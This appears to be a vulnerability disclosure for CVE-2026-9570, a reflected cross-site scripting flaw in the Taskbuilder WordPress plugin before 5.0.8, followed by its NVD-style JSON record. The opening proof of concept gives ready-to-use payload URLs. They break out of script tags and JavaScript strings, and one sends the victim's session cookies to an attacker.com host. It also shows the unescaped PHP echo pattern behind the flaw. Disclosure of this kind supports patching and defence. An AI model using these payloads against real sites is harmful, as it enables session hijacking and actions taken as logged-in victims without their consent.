CVE-2026-9570

<!-- PoC for CVE-2026-9570: Reflected XSS in Taskbuilder WordPress Plugin (< 5.0.8) The vulnerability exists in a frontend page containing Taskbuilder shortcodes, where a URL parameter is echoed into inline JavaScript without proper sanitization. --> <!-- Step 1: Attacker crafts a malicious URL --> <!-- Assume the target page is: https://target-site.com/page-with-taskbuilder/ --> <!-- The vulnerable URL parameter (e.g., "callback" or similar) is injected into inline JS --> https://target-site.com/page-with-taskbuilder/?param=</script><script>alert(document.cookie)</script> <!-- Alternative payload for breaking out of a JS string context --> https://target-site.com/page-with-taskbuilder/?param=x';alert('XSS');// <!-- Step 2: Victim (logged-in user) clicks the crafted URL --> <!-- Step 3: Malicious JavaScript executes in the victim's browser context --> <!-- Example of what the vulnerable code might look like in the plugin source: --> <!-- <script> var config = '<?php echo $_GET['param']; ?>'; // Vulnerable: no escaping // Should use: var config = '<?php echo esc_js($_GET['param']); ?>'; </script> --> <!-- Step 4: Attacker can steal cookies, hijack sessions, or perform actions as the victim --> <!-- Cookie stealing example: --> https://target-site.com/page-with-taskbuilder/?param=x';document.location='https://attacker.com/steal?c='+document.cookie;//

{"cve": {"id": "CVE-2026-9570", "sourceIdentifier": "[email protected]", "published": "2026-06-17T13:21:34.983", "lastModified": "2026-06-17T14:50:32.023", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Taskbuilder WordPress plugin before 5.0.8 does not properly sanitise a URL parameter before echoing it into inline JavaScript on a frontend page containing one of its shortcodes, leading to a Reflected Cross-Site Scripting vulnerability that can be triggered against any logged-in user."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Unknown", "product": "Taskbuilder", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThan": "5.0.8", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-17T10:45:21.429725Z", "id": "CVE-2026-9570", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wpscan.com/vulnerability/e9abd7eb-39f1-49d7-a70e-b07cf3680399/", "source": "[email protected]"}]}}